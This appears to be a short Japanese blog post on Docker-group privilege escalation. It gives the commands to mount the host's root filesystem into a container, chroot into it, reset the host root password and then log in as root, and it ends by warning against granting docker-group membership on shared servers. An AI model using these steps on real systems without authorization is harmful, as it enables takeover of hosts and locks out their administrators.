dockerグループの権限でホストのrootアカウントを奪取する

dockerというコンテナ型の仮想化ソフトがありますよね。 セキュリティが宜しくないとかで、置き換えを目指すrktという別のソフトウェアが出て来ていたりします。

調べてみたところ、dockerグループに属した一般ユーザーがrootの権限を使えるらしいです。ヤバそうです。試してみました。

ひとまず、ubuntuか何かのイメージを落してきます。使うイメージはなんでも良いと思います。 ちなみにホストマシンにはCoreOSを使ってみました。

ホストマシン $ docker pull ubuntu

出来たら、起動します。

ホストマシン $ docker run -itv /:/mnt ubuntu /bin/bash

ホストマシンのルートディレクトリを/mntにマウントしている、というのがポイントです。 あとのオプションは適当に調べてください。

次に、ホストマシンのルートディレクトリにchrootを行ないます。

コンテナ # chroot /mnt /bin/bash

これでホストマシンのrootに(擬似的に)なれました。

rootのパスワードを変えます。

chrootしたあと # passwd

これが出来たら、あとはexit2回でマシンを閉じます。

設定したパスワードでログイン出来るか試してみましょう。

ホストマシン $ su -
Password:

普通にrootになれると思います。

ね、簡単でしょう? 共有サーバーで運用する場合、dockerグループも迂闊に渡さないようにしたほうが良さそうです…。